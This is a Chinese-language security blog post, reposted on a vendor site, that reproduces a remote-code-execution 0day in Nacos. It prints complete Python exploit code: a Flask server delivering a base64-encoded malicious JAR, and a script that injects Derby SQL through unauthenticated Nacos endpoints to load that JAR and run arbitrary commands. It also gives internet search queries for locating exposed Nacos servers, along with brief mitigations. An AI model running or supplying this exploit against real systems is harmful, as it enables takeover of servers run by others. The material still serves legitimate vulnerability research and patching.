长亭百川云 - 文章详情

【漏洞复现|0day含POC】NACOS RCE

浅梦安全

199

2024-07-16

免责声明

「此公众号所分享的网络安全知识、信息及工具皆来源互联网公开收集整理,仅供学习和研究使用,请勿用于非法测试活动。由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,产生的一切后果由读者自行承担,皆与本公众号及文章作者无关、不负任何责任!!!」****「如有内容侵权,请联系我们删除处理。谢谢合作!!!」

漏洞介绍POC

昨日github有大佬公开了一个nacos 的0day,已经有许多公众号发文并复现成功,本文也尝试在本地搭建环境复现了一下。对于nacos想必各位师傅已经熟悉的不能再熟悉了,其可以说是攻防、渗透中重点关注的目标,无论是在外网打点、还是在内网渗透时,如果有其漏洞都是不可多得的助力。对于这个rce漏洞想要利用成功其实需要一定的条件才行,其相当于是之前未授权sql注入的一个拓展利用,不过其影响版本至最新版,其利用条件如下:

1、需要naocs没有做鉴权,或者能登录后台获取凭证

2、需要使用的是derby数据库,如果是mysql就不行了

3、有大佬分析其exp是通过撞/tmp目录才能实现payload的上传,参考如下文章

https://mp.weixin.qq.com/s/AxczsjhcrM\_a\_qNVyT38GA

下面是github公开poc的地址以及上面文章中大佬,优化修复部分 poc bug的地址

https://github.com/ayoundzw/nacos-poc  
https://github.com/FFR66/Nacos_Rce
  • 「config.py」
server_host = '127.0.0.1'  
server_port = 5000
  • 「service.py」
import base64  
from flask import Flask, send_file,Response  
import config  
  
payload = b'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'  
  
app = Flask(__name__)  
  
  
@app.route('/download')  
def download_file():  
    data = base64.b64decode(payload)  
    response = Response(data, mimetype="application/octet-stream")  
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"  
    return response  
  
if __name__ == '__main__':  
    app.run(host=config.server_host, port=config.server_port)
  • 「exploit.py」
import random  
import sys  
import requests  
from urllib.parse import urljoin  
import config  
  
  
# 按装订区域中的绿色按钮以运行脚本。  
def exploit(target, command, service):  
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')  
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')  
    for i in range(0,sys.maxsize):  
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))  
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n  
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n  
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);  
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);  
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);  
        #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);  
        files = {'file': post_sql}  
        post_resp = requests.post(url=removal_url,files=files)  
        post_json = post_resp.json()  
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:  
            print(post_resp.text)  
            get_resp = requests.get(url=derby_url,params={'sql':get_sql})  
            print(get_resp.text)  
            break  
  
  
if __name__ == '__main__':  
    service = 'http://{host}:{port}/download'.format(host=config.server_host,port=config.server_port)  
    target = 'http://127.0.0.1:8848'  
    command = 'calc'  
    target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target  
    command = input('请输入命令,默认:calc:') or command  
    exploit(target=target, command=command,service=service)
环境准备:下载nacos2.3.2或2.4.0版本,解压,使用 startup.cmd -m standalone 启动nacos   
补充POC信息 POC是一个python项目,依赖requests和flask,请先使用requiments.txt安装依赖   
1.配置config.py中的ip和端口,执行service.py,POC攻击需要启动一个jar包下载的地方,jar包里可以放任意代码,都可执行,我这里放了一个接收参数执行java命令的   
2.执行exploit.py,输入地址和命令即可执行。

环境搭建

这里我直接在本地虚拟机拉取docker镜像

git clone https://github.com/nacos-group/nacos-docker.git cd nacos-docker docker-compose -f example/standalone-derby.yaml up

注:可能拉去镜像时docker镜像源会拉取失败,这里手动设置镜像源

vim  /etc/docker/daemon.json   
写入如下镜像源地址:  
{  
    "registry-mirrors": [  
        "https://dockerproxy.cn"  
    ]  
}  
重启docker服务,再重新尝试拉去derby版的镜像  
sudo systemctl restart docker

漏洞复现

接着直接下载poc至本地尝试复现(nacos环境搭建好后未做任何配置),修改config.py中的地址端口(开启pythonhttp服务)

然后运行service.py,开启http服务供exp请求获取payload,接着直接运行exploit.py,输入nacos地址利用即可

这个0day rce危害相对来说没那么大,不过也是多了一种能拿服务器权限的路子,基本上需要存在以前的nady(nacos 默认token、默认口令、鉴权绕过及未授权的sql)才能利用,所以此漏洞目前并没有yaml版的poc,不过在遇到其nday时可以尝试组合拳去利用。

资产测绘

  • 「Fofa」

app="nacos"

  • 「Hunter」

app.name="nacos"

  • 「Quake」

app="nacos"

修复方案

  • 上文说到了,其漏洞的利用条件,那么相反修复方式很简单,只要让其不满足其一条件即可。

  • 数据库使用mysql即可

  • 开启nacos鉴权机制,修改默认token及用户名密码

!!!!关注浅梦,安全不迷路!!!!
!!!!关注浅梦,安全不迷路!!!!
!!!!关注浅梦,安全不迷路!!!!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2